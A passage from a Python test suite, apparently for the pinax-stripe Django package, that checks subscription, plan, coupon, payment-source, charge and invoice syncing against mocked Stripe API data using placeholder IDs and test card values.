@patch("stripe.Subscription.retrieve") @patch("stripe.Subscription.create") def test_retrieve_subscription_with_connect(self, CreateMock, RetrieveMock): CreateMock.return_value = { "object": "subscription", "id": "sub_XX", "application_fee_percent": None, "cancel_at_period_end": False, "canceled_at": None, "current_period_start": 1509978774, "current_period_end": 1512570774, "ended_at": None, "quantity": 1, "start": 1509978774, "status": "active", "trial_start": None, "trial_end": None, "plan": { "id": self.plan.stripe_id, }} subscriptions.create(self.connected_customer, self.plan.stripe_id) subscriptions.retrieve(self.connected_customer, "sub_XX") RetrieveMock.assert_called_once_with("sub_XX", stripe_account=self.account.stripe_id) def test_is_period_current(self): sub = Subscription(current_period_end=(timezone.now() + datetime.timedelta(days=2))) self.assertTrue(subscriptions.is_period_current(sub)) def test_is_period_current_false(self): sub = Subscription(current_period_end=(timezone.now() - datetime.timedelta(days=2))) self.assertFalse(subscriptions.is_period_current(sub)) def test_is_status_current(self): sub = Subscription(status="trialing") self.assertTrue(subscriptions.is_status_current(sub)) def test_is_status_current_false(self): sub = Subscription(status="canceled") self.assertFalse(subscriptions.is_status_current(sub)) def test_is_valid(self): sub = Subscription(status="trialing") self.assertTrue(subscriptions.is_valid(sub)) def test_is_valid_false(self): sub = Subscription(status="canceled") self.assertFalse(subscriptions.is_valid(sub)) def test_is_valid_false_canceled(self): sub = Subscription(status="trialing", cancel_at_period_end=True, current_period_end=(timezone.now() - datetime.timedelta(days=2))) self.assertFalse(subscriptions.is_valid(sub)) class SyncsTests(TestCase): def setUp(self): self.User = get_user_model() self.user = self.User.objects.create_user( username="patrick", email="paltman@example.com" ) self.customer = Customer.objects.create( user=self.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) def test_sync_coupon_from_stripe_data(self): account = Account.objects.create( stripe_id="acct_X", type="standard", ) coupon = { "id": "35OFF", "object": "coupon", "amount_off": None, "created": 1391694467, "currency": None, "duration": "repeating", "duration_in_months": 3, "livemode": True, "max_redemptions": None, "metadata": { }, "percent_off": 35, "redeem_by": None, "times_redeemed": 1, "valid": True } cs1 = coupons.sync_coupon_from_stripe_data(coupon) self.assertTrue(cs1.livemode) c1 = Coupon.objects.get(stripe_id=coupon["id"], stripe_account=None) self.assertEquals(c1, cs1) self.assertEquals(c1.percent_off, decimal.Decimal(35.00)) cs2 = coupons.sync_coupon_from_stripe_data(coupon, stripe_account=account) c2 = Coupon.objects.get(stripe_id=coupon["id"], stripe_account=account) self.assertEquals(c2, cs2) self.assertEquals(c2.percent_off, decimal.Decimal(35.00)) self.assertFalse(c1 == c2) @patch("stripe.Plan.auto_paging_iter", create=True) def test_sync_plans(self, PlanAutoPagerMock): PlanAutoPagerMock.return_value = [ { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": {}, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, { "id": "simple1", "object": "plan", "amount": 999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": {}, "name": "The Simple Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, ] plans.sync_plans() self.assertTrue(Plan.objects.all().count(), 2) self.assertEquals(Plan.objects.get(stripe_id="simple1").amount, decimal.Decimal("9.99")) @patch("stripe.Plan.auto_paging_iter", create=True) def test_sync_plans_update(self, PlanAutoPagerMock): PlanAutoPagerMock.return_value = [ { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": {}, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, { "id": "simple1", "object": "plan", "amount": 999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": {}, "name": "The Simple Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, ] plans.sync_plans() self.assertTrue(Plan.objects.all().count(), 2) self.assertEquals(Plan.objects.get(stripe_id="simple1").amount, decimal.Decimal("9.99")) PlanAutoPagerMock.return_value[1].update({"amount": 499}) plans.sync_plans() self.assertEquals(Plan.objects.get(stripe_id="simple1").amount, decimal.Decimal("4.99")) def test_sync_plan(self): """ Test that a single Plan is updated """ Plan.objects.create( stripe_id="pro2", name="Plan Plan", interval="month", interval_count=1, amount=decimal.Decimal("19.99") ) plan = { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": {}, "name": "Gold Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 } plans.sync_plan(plan) self.assertTrue(Plan.objects.all().count(), 1) self.assertEquals(Plan.objects.get(stripe_id="pro2").name, plan["name"]) def test_sync_payment_source_from_stripe_data_card(self): source = { "id": "card_17AMEBI10iPhvocM1LnJ0dBc", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "MasterCard", "country": "US", "customer": "cus_7PAYYALEwPuDJE", "cvc_check": "pass", "dynamic_last4": None, "exp_month": 10, "exp_year": 2018, "funding": "credit", "last4": "4444", "metadata": { }, "name": None, "tokenization_method": None, "fingerprint": "xyz" } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(Card.objects.get(stripe_id=source["id"]).exp_year, 2018) def test_sync_payment_source_from_stripe_data_card_blank_cvc_check(self): source = { "id": "card_17AMEBI10iPhvocM1LnJ0dBc", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "MasterCard", "country": "US", "customer": "cus_7PAYYALEwPuDJE", "cvc_check": None, "dynamic_last4": None, "exp_month": 10, "exp_year": 2018, "funding": "credit", "last4": "4444", "metadata": { }, "name": None, "tokenization_method": None, "fingerprint": "xyz" } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(Card.objects.get(stripe_id=source["id"]).cvc_check, "") def test_sync_payment_source_from_stripe_data_card_blank_country(self): source = { "id": "card_17AMEBI10iPhvocM1LnJ0dBc", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "MasterCard", "country": None, "customer": "cus_7PAYYALEwPuDJE", "cvc_check": "pass", "dynamic_last4": None, "exp_month": 10, "exp_year": 2018, "funding": "credit", "last4": "4444", "metadata": { }, "name": None, "tokenization_method": None, "fingerprint": "xyz" } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(Card.objects.get(stripe_id=source["id"]).country, "") def test_sync_payment_source_from_stripe_data_card_updated(self): source = { "id": "card_17AMEBI10iPhvocM1LnJ0dBc", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "MasterCard", "country": "US", "customer": "cus_7PAYYALEwPuDJE", "cvc_check": "pass", "dynamic_last4": None, "exp_month": 10, "exp_year": 2018, "funding": "credit", "last4": "4444", "metadata": { }, "name": None, "tokenization_method": None, "fingerprint": "xyz" } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(Card.objects.get(stripe_id=source["id"]).exp_year, 2018) source.update({"exp_year": 2022}) sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(Card.objects.get(stripe_id=source["id"]).exp_year, 2022) def test_sync_payment_source_from_stripe_data_source_card(self): source = { "id": "src_123", "object": "source", "amount": None, "client_secret": "src_client_secret_123", "created": 1483575790, "currency": None, "flow": "none", "livemode": False, "metadata": {}, "owner": { "address": None, "email": None, "name": None, "phone": None, "verified_address": None, "verified_email": None, "verified_name": None, "verified_phone": None, }, "status": "chargeable", "type": "card", "usage": "reusable", "card": { "brand": "Visa", "country": "US", "exp_month": 12, "exp_year": 2034, "funding": "debit", "last4": "5556", "three_d_secure": "not_supported" } } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertFalse(Card.objects.exists()) def test_sync_payment_source_from_stripe_data_bitcoin(self): source = { "id": "btcrcv_17BE32I10iPhvocMqViUU1w4", "object": "bitcoin_receiver", "active": False, "amount": 100, "amount_received": 0, "bitcoin_amount": 1757908, "bitcoin_amount_received": 0, "bitcoin_uri": "bitcoin:test_7i9Fo4b5wXcUAuoVBFrc7nc9HDxD1?amount=0.01757908", "created": 1448499344, "currency": "usd", "description": "Receiver for John Doe", "email": "test@example.com", "filled": False, "inbound_address": "test_7i9Fo4b5wXcUAuoVBFrc7nc9HDxD1", "livemode": False, "metadata": { }, "refund_address": None, "uncaptured_funds": False, "used_for_payment": False } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(BitcoinReceiver.objects.get(stripe_id=source["id"]).bitcoin_amount, 1757908) def test_sync_payment_source_from_stripe_data_bitcoin_updated(self): source = { "id": "btcrcv_17BE32I10iPhvocMqViUU1w4", "object": "bitcoin_receiver", "active": False, "amount": 100, "amount_received": 0, "bitcoin_amount": 1757908, "bitcoin_amount_received": 0, "bitcoin_uri": "bitcoin:test_7i9Fo4b5wXcUAuoVBFrc7nc9HDxD1?amount=0.01757908", "created": 1448499344, "currency": "usd", "description": "Receiver for John Doe", "email": "test@example.com", "filled": False, "inbound_address": "test_7i9Fo4b5wXcUAuoVBFrc7nc9HDxD1", "livemode": False, "metadata": { }, "refund_address": None, "uncaptured_funds": False, "used_for_payment": False } sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(BitcoinReceiver.objects.get(stripe_id=source["id"]).bitcoin_amount, 1757908) source.update({"bitcoin_amount": 1886800}) sources.sync_payment_source_from_stripe_data(self.customer, source) self.assertEquals(BitcoinReceiver.objects.get(stripe_id=source["id"]).bitcoin_amount, 1886800) def test_sync_subscription_from_stripe_data(self): Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) subscription = { "id": "sub_7Q4BX0HMfqTpN8", "object": "subscription", "application_fee_percent": None, "cancel_at_period_end": False, "canceled_at": None, "current_period_end": 1448758544, "current_period_start": 1448499344, "customer": self.customer.stripe_id, "discount": None, "ended_at": None, "metadata": { }, "plan": { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "quantity": 1, "start": 1448499344, "status": "trialing", "tax_percent": None, "trial_end": 1448758544, "trial_start": 1448499344 } sub = subscriptions.sync_subscription_from_stripe_data(self.customer, subscription) self.assertEquals(Subscription.objects.get(stripe_id=subscription["id"]), sub) self.assertEquals(sub.status, "trialing") subscription["discount"] = { "object": "discount", "coupon": { "id": "35OFF", "object": "coupon", "amount_off": None, "created": 1391694467, "currency": None, "duration": "repeating", "duration_in_months": 3, "livemode": False, "max_redemptions": None, "metadata": { }, "percent_off": 35, "redeem_by": None, "times_redeemed": 1, "valid": True }, "customer": self.customer.stripe_id, "end": 1399384361, "start": 1391694761, "subscription": subscription["id"] } subscriptions.sync_subscription_from_stripe_data(self.customer, subscription) d = Subscription.objects.get(stripe_id=subscription["id"]).discount self.assertEquals(d.coupon.percent_off, decimal.Decimal(35.00)) def test_sync_subscription_from_stripe_data_updated(self): Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) subscription = { "id": "sub_7Q4BX0HMfqTpN8", "object": "subscription", "application_fee_percent": None, "cancel_at_period_end": False, "canceled_at": None, "current_period_end": 1448758544, "current_period_start": 1448499344, "customer": self.customer.stripe_id, "discount": { "object": "discount", "coupon": { "id": "35OFF", "object": "coupon", "amount_off": None, "created": 1391694467, "currency": None, "duration": "repeating", "duration_in_months": 3, "livemode": False, "max_redemptions": None, "metadata": { }, "percent_off": 35, "redeem_by": None, "times_redeemed": 1, "valid": True }, "customer": self.customer.stripe_id, "end": 1399384361, "start": 1391694761, "subscription": "sub_7Q4BX0HMfqTpN8" }, "ended_at": None, "metadata": { }, "plan": { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "quantity": 1, "start": 1448499344, "status": "trialing", "tax_percent": None, "trial_end": 1448758544, "trial_start": 1448499344 } with self.assertRaises(Discount.DoesNotExist): Discount.objects.get(subscription__stripe_id="sub_7Q4BX0HMfqTpN8") subscriptions.sync_subscription_from_stripe_data(self.customer, subscription) self.assertEquals(Subscription.objects.get(stripe_id=subscription["id"]).status, "trialing") subscription.update({"status": "active"}) subscriptions.sync_subscription_from_stripe_data(self.customer, subscription) s = Subscription.objects.get(stripe_id=subscription["id"]) self.assertEquals(s.status, "active") self.assertTrue(Discount.objects.filter(subscription__stripe_id="sub_7Q4BX0HMfqTpN8").exists()) self.assertEquals(s.discount.coupon.stripe_id, "35OFF") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") @patch("stripe.Customer.retrieve") def test_sync_customer(self, RetreiveMock, SyncPaymentSourceMock, SyncSubscriptionMock): RetreiveMock.return_value = dict( account_balance=1999, currency="usd", delinquent=False, default_source=None, sources=dict(data=[Mock()]), subscriptions=dict(data=[Mock()]) ) customers.sync_customer(self.customer) customer = Customer.objects.get(user=self.user) self.assertEquals(customer.account_balance, decimal.Decimal("19.99")) self.assertEquals(customer.currency, "usd") self.assertEquals(customer.delinquent, False) self.assertEquals(customer.default_source, "") self.assertTrue(SyncPaymentSourceMock.called) self.assertTrue(SyncSubscriptionMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") def test_sync_customer_no_cu_provided(self, SyncPaymentSourceMock, SyncSubscriptionMock): cu = dict( account_balance=1999, currency="usd", delinquent=False, default_source=None, sources=dict(data=[Mock()]), subscriptions=dict(data=[Mock()]) ) customers.sync_customer(self.customer, cu=cu) customer = Customer.objects.get(user=self.user) self.assertEquals(customer.account_balance, decimal.Decimal("19.99")) self.assertEquals(customer.currency, "usd") self.assertEquals(customer.delinquent, False) self.assertEquals(customer.default_source, "") self.assertTrue(SyncPaymentSourceMock.called) self.assertTrue(SyncSubscriptionMock.called) @patch("pinax.stripe.actions.customers.purge_local") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") @patch("stripe.Customer.retrieve") def test_sync_customer_purged_locally(self, RetrieveMock, SyncPaymentSourceMock, SyncSubscriptionMock, PurgeLocalMock): self.customer.date_purged = timezone.now() customers.sync_customer(self.customer) self.assertFalse(RetrieveMock.called) self.assertFalse(SyncPaymentSourceMock.called) self.assertFalse(SyncSubscriptionMock.called) self.assertFalse(PurgeLocalMock.called) @patch("pinax.stripe.actions.customers.purge_local") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") @patch("stripe.Customer.retrieve") def test_sync_customer_purged_remotely_not_locally(self, RetrieveMock, SyncPaymentSourceMock, SyncSubscriptionMock, PurgeLocalMock): RetrieveMock.return_value = dict( deleted=True ) customers.sync_customer(self.customer) self.assertFalse(SyncPaymentSourceMock.called) self.assertFalse(SyncSubscriptionMock.called) self.assertTrue(PurgeLocalMock.called) @patch("pinax.stripe.actions.invoices.sync_invoice_from_stripe_data") @patch("stripe.Customer.retrieve") def test_sync_invoices_for_customer(self, RetreiveMock, SyncMock): RetreiveMock().invoices().data = [Mock()] invoices.sync_invoices_for_customer(self.customer) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Customer.retrieve") def test_sync_charges_for_customer(self, RetreiveMock, SyncMock): RetreiveMock().charges().data = [Mock()] charges.sync_charges_for_customer(self.customer) self.assertTrue(SyncMock.called) def test_sync_charge_from_stripe_data(self): data = { "id": "ch_17A1dUI10iPhvocMOecpvQlI", "object": "charge", "amount": 200, "amount_refunded": 0, "application_fee": None, "balance_transaction": "txn_179l3zI10iPhvocMhvKxAer7", "captured": True, "created": 1448213304, "currency": "usd", "customer": self.customer.stripe_id, "description": None, "destination": None, "dispute": None, "failure_code": None, "failure_message": None, "fraud_details": { }, "invoice": "in_17A1dUI10iPhvocMSGtIfUDF", "livemode": False, "metadata": { }, "paid": True, "receipt_email": None, "receipt_number": None, "refunded": False, "refunds": { "object": "list", "data": [ ], "has_more": False, "total_count": 0, "url": "/v1/charges/ch_17A1dUI10iPhvocMOecpvQlI/refunds" }, "shipping": None, "source": { "id": "card_179o0lI10iPhvocMZgdPiR5M", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "Visa", "country": "US", "customer": "cus_7ObCqsp1NGVT6o", "cvc_check": None, "dynamic_last4": None, "exp_month": 10, "exp_year": 2019, "funding": "credit", "last4": "4242", "metadata": { }, "name": None, "tokenization_method": None }, "statement_descriptor": "A descriptor", "status": "succeeded" } charges.sync_charge_from_stripe_data(data) charge = Charge.objects.get(customer=self.customer, stripe_id=data["id"]) self.assertEquals(charge.amount, decimal.Decimal("2")) def test_sync_charge_from_stripe_data_balance_transaction(self): data = { "id": "ch_17A1dUI10iPhvocMOecpvQlI", "object": "charge", "amount": 200, "amount_refunded": 0, "application_fee": None, "balance_transaction": { "id": "txn_19XJJ02eZvKYlo2ClwuJ1rbA", "object": "balance_transaction", "amount": 999, "available_on": 1483920000, "created": 1483315442, "currency": "usd", "description": None, "fee": 59, "fee_details": [ { "amount": 59, "application": None, "currency": "usd", "description": "Stripe processing fees", "type": "stripe_fee" } ], "net": 940, "source": "ch_19XJJ02eZvKYlo2CHfSUsSpl", "status": "pending", "type": "charge" }, "captured": True, "created": 1448213304, "currency": "usd", "customer": self.customer.stripe_id, "description": None, "destination": None, "dispute": None, "failure_code": None, "failure_message": None, "fraud_details": { }, "invoice": "in_17A1dUI10iPhvocMSGtIfUDF", "livemode": False, "metadata": { }, "paid": True, "receipt_email": None, "receipt_number": None, "refunded": False, "refunds": { "object": "list", "data": [ ], "has_more": False, "total_count": 0, "url": "/v1/charges/ch_17A1dUI10iPhvocMOecpvQlI/refunds" }, "shipping": None, "source": { "id": "card_179o0lI10iPhvocMZgdPiR5M", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "Visa", "country": "US", "customer": "cus_7ObCqsp1NGVT6o", "cvc_check": None, "dynamic_last4": None, "exp_month": 10, "exp_year": 2019, "funding": "credit", "last4": "4242", "metadata": { }, "name": None, "tokenization_method": None }, "statement_descriptor": "A descriptor", "status": "succeeded" } charges.sync_charge_from_stripe_data(data) charge = Charge.objects.get(customer=self.customer, stripe_id=data["id"]) self.assertEquals(charge.amount, decimal.Decimal("2")) self.assertEquals(charge.available, False) self.assertEquals(charge.fee, decimal.Decimal("0.59")) self.assertEquals(charge.currency, "usd") def test_sync_charge_from_stripe_data_description(self): data = { "id": "ch_17A1dUI10iPhvocMOecpvQlI", "object": "charge", "amount": 200, "amount_refunded": 0, "application_fee": None, "balance_transaction": "txn_179l3zI10iPhvocMhvKxAer7", "captured": True, "created": 1448213304, "currency": "usd", "customer": self.customer.stripe_id, "description": "This was a charge for awesome.", "destination": None, "dispute": None, "failure_code": None, "failure_message": None, "fraud_details": { }, "invoice": "in_17A1dUI10iPhvocMSGtIfUDF", "livemode": False, "metadata": { }, "paid": True, "receipt_email": None, "receipt_number": None, "refunded": False, "refunds": { "object": "list", "data": [ ], "has_more": False, "total_count": 0, "url": "/v1/charges/ch_17A1dUI10iPhvocMOecpvQlI/refunds" }, "shipping": None, "source": { "id": "card_179o0lI10iPhvocMZgdPiR5M", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "Visa", "country": "US", "customer": "cus_7ObCqsp1NGVT6o", "cvc_check": None, "dynamic_last4": None, "exp_month": 10, "exp_year": 2019, "funding": "credit", "last4": "4242", "metadata": { }, "name": None, "tokenization_method": None }, "statement_descriptor": "A descriptor", "status": "succeeded" } charges.sync_charge_from_stripe_data(data) charge = Charge.objects.get(customer=self.customer, stripe_id=data["id"]) self.assertEquals(charge.amount, decimal.Decimal("2")) self.assertEquals(charge.description, "This was a charge for awesome.") def test_sync_charge_from_stripe_data_amount_refunded(self): data = { "id": "ch_17A1dUI10iPhvocMOecpvQlI", "object": "charge", "amount": 200, "amount_refunded": 10000, "application_fee": None, "balance_transaction": "txn_179l3zI10iPhvocMhvKxAer7", "captured": True, "created": 1448213304, "currency": "usd", "customer": self.customer.stripe_id, "description": None, "destination": None, "dispute": None, "failure_code": None, "failure_message": None, "fraud_details": { }, "invoice": "in_17A1dUI10iPhvocMSGtIfUDF", "livemode": False, "metadata": { }, "paid": True, "receipt_email": None, "receipt_number": None, "refunded": False, "refunds": { "object": "list", "data": [ ], "has_more": False, "total_count": 0, "url": "/v1/charges/ch_17A1dUI10iPhvocMOecpvQlI/refunds" }, "shipping": None, "source": { "id": "card_179o0lI10iPhvocMZgdPiR5M", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "Visa", "country": "US", "customer": "cus_7ObCqsp1NGVT6o", "cvc_check": None, "dynamic_last4": None, "exp_month": 10, "exp_year": 2019, "funding": "credit", "last4": "4242", "metadata": { }, "name": None, "tokenization_method": None }, "statement_descriptor": "A descriptor", "status": "succeeded" } charges.sync_charge_from_stripe_data(data) charge = Charge.objects.get(customer=self.customer, stripe_id=data["id"]) self.assertEquals(charge.amount, decimal.Decimal("2")) self.assertEquals(charge.amount_refunded, decimal.Decimal("100")) def test_sync_charge_from_stripe_data_refunded(self): data = { "id": "ch_17A1dUI10iPhvocMOecpvQlI", "object": "charge", "amount": 200, "amount_refunded": 0, "application_fee": None, "balance_transaction": "txn_179l3zI10iPhvocMhvKxAer7", "captured": True, "created": 1448213304, "currency": "usd", "customer": self.customer.stripe_id, "description": None, "destination": None, "dispute": None, "failure_code": None, "failure_message": None, "fraud_details": { }, "invoice": "in_17A1dUI10iPhvocMSGtIfUDF", "livemode": False, "metadata": { }, "paid": True, "receipt_email": None, "receipt_number": None, "refunded": True, "refunds": { "object": "list", "data": [ ], "has_more": False, "total_count": 0, "url": "/v1/charges/ch_17A1dUI10iPhvocMOecpvQlI/refunds" }, "shipping": None, "source": { "id": "card_179o0lI10iPhvocMZgdPiR5M", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": None, "address_zip_check": None, "brand": "Visa", "country": "US", "customer": "cus_7ObCqsp1NGVT6o", "cvc_check": None, "dynamic_last4": None, "exp_month": 10, "exp_year": 2019, "funding": "credit", "last4": "4242", "metadata": { }, "name": None, "tokenization_method": None }, "statement_descriptor": "A descriptor", "status": "succeeded" } charges.sync_charge_from_stripe_data(data) charge = Charge.objects.get(customer=self.customer, stripe_id=data["id"]) self.assertEquals(charge.amount, decimal.Decimal("2")) self.assertEquals(charge.refunded, True) def test_sync_charge_from_stripe_data_failed(self): data = { "id": "ch_xxxxxxxxxxxxxxxxxxxxxxxx", "object": "charge", "amount": 200, "amount_refunded": 0, "application": None, "application_fee": None, "balance_transaction": None, "captured": False, "created": 1488208611, "currency": "usd", "customer": None, "description": None, "destination": None, "dispute": None, "failure_code": "card_declined", "failure_message": "Your card was declined.", "fraud_details": {}, "invoice": None, "livemode": False, "metadata": {}, "on_behalf_of": None, "order": None, "outcome": { "network_status": "declined_by_network", "reason": "generic_decline", "risk_level": "normal", "seller_message": "The bank did not return any further details with this decline.", "type": "issuer_declined" }, "paid": False, "receipt_email": None, "receipt_number": None, "refunded": False, "refunds": { "object": "list", "data": [], "has_more": False, "total_count": 0, "url": "/v1/charges/ch_xxxxxxxxxxxxxxxxxxxxxxxx/refunds" }, "review": None, "shipping": None, "source": { "id": "card_xxxxxxxxxxxxxxxxxxxxxxxx", "object": "card", "address_city": None, "address_country": None, "address_line1": None, "address_line1_check": None, "address_line2": None, "address_state": None, "address_zip": "424", "address_zip_check": "pass", "brand": "Visa", "country": "US", "customer": None, "cvc_check": "pass", "dynamic_last4": None, "exp_month": 4, "exp_year": 2024, "fingerprint": "xxxxxxxxxxxxxxxx", "funding": "credit", "last4": "0341", "metadata": {}, "name": "example@example.com", "tokenization_method": None }, "source_transfer": None, "statement_descriptor": None, "status": "failed", "transfer_group": None } charges.sync_charge_from_stripe_data(data) charge = Charge.objects.get(stripe_id=data["id"]) self.assertEqual(charge.amount, decimal.Decimal("2")) self.assertEqual(charge.customer, None) self.assertEqual(charge.outcome["risk_level"], "normal") @patch("stripe.Subscription.retrieve") def test_retrieve_stripe_subscription(self, RetrieveMock): RetrieveMock.return_value = stripe.Subscription( customer="cus_xxxxxxxxxxxxxxx" ) value = subscriptions.retrieve(self.customer, "sub id") self.assertEquals(value, RetrieveMock.return_value) def test_retrieve_stripe_subscription_no_sub_id(self): value = subscriptions.retrieve(self.customer, None) self.assertIsNone(value) @patch("stripe.Subscription.retrieve") def test_retrieve_stripe_subscription_diff_customer(self, RetrieveMock): class Subscription: customer = "cus_xxxxxxxxxxxxZZZ" RetrieveMock.return_value = Subscription() value = subscriptions.retrieve(self.customer, "sub_id") self.assertIsNone(value) @patch("stripe.Subscription.retrieve") def test_retrieve_stripe_subscription_missing_subscription(self, RetrieveMock): RetrieveMock.return_value = None value = subscriptions.retrieve(self.customer, "sub id") self.assertIsNone(value) @patch("stripe.Subscription.retrieve") def test_retrieve_stripe_subscription_invalid_request(self, RetrieveMock): def bad_request(*args, **kwargs): raise stripe.error.InvalidRequestError("Bad", "error") RetrieveMock.side_effect = bad_request with self.assertRaises(stripe.error.InvalidRequestError): subscriptions.retrieve(self.customer, "sub id") def test_sync_invoice_items(self): plan = Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) subscription = Subscription.objects.create( stripe_id="sub_7Q4BX0HMfqTpN8", customer=self.customer, plan=plan, quantity=1, status="active", start=timezone.now() ) invoice = Invoice.objects.create( stripe_id="inv_001", customer=self.customer, amount_due=100, period_end=timezone.now(), period_start=timezone.now(), subtotal=100, total=100, date=timezone.now(), subscription=subscription ) items = [{ "id": subscription.stripe_id, "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "plan": { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", "interval": "month", "interval_count": 1, "livemode": False, "metadata": { }, "name": "The Pro Plan", "statement_descriptor": "ALTMAN", "trial_period_days": 3 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }] invoices.sync_invoice_items(invoice, items) self.assertTrue(invoice.items.all().count(), 1) def test_sync_invoice_items_no_plan(self): plan = Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) subscription = Subscription.objects.create( stripe_id="sub_7Q4BX0HMfqTpN8", customer=self.customer, plan=plan, quantity=1, status="active", start=timezone.now() ) invoice = Invoice.objects.create( stripe_id="inv_001", customer=self.customer, amount_due=100, period_end=timezone.now(), period_start=timezone.now(), subtotal=100, total=100, date=timezone.now(), subscription=subscription ) items = [{ "id": subscription.stripe_id, "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "proration": False, "quantity": 1, "subscription": None, "type": "subscription" }] invoices.sync_invoice_items(invoice, items) self.assertTrue(invoice.items.all().count(), 1) self.assertEquals(invoice.items.all()[0].plan, plan) def test_sync_invoice_items_type_not_subscription(self): invoice = Invoice.objects.create( stripe_id="inv_001", customer=self.customer, amount_due=100, period_end=timezone.now(), period_start=timezone.now(), subtotal=100, total=100, date=timezone.now() ) items = [{ "id": "ii_23lkj2lkj", "object": "line_item", "amount": 2000, "currency": "usd", "description": "Something random", "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "proration": False, "quantity": 1, "subscription": None, "type": "line_item" }] invoices.sync_invoice_items(invoice, items) self.assertTrue(invoice.items.all().count(), 1) self.assertEquals(invoice.items.all()[0].description, "Something random") self.assertEquals(invoice.items.all()[0].amount, decimal.Decimal("20")) @patch("pinax.stripe.actions.subscriptions.retrieve") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_sync_invoice_items_different_stripe_id_than_invoice(self, SyncMock, RetrieveSubscriptionMock): # two subscriptions on invoice? Plan.objects.create(stripe_id="simple", interval="month", interval_count=1, amount=decimal.Decimal("9.99")) plan = Plan.objects.create(stripe_id="pro2", interval="month", interval_count=1, amount=decimal.Decimal("19.99")) subscription = Subscription.objects.create( stripe_id="sub_7Q4BX0HMfqTpN8", customer=self.customer, plan=plan, quantity=1, status="active", start=timezone.now() ) invoice = Invoice.objects.create( stripe_id="inv_001", customer=self.customer, amount_due=100, period_end=timezone.now(), period_start=timezone.now(), subtotal=100, total=100, date=timezone.now(), subscription=subscription ) SyncMock.return_value = subscription items = [{ "id": subscription.stripe_id, "object": "line_item", "amount": 0, "currency": "usd", "description": None, "discountable": True, "livemode": True, "metadata": { }, "period": { "start": 1448499344, "end": 1448758544 }, "plan": { "id": "pro2", "object": "plan", "amount": 1999, "created": 1448121054, "currency": "usd", 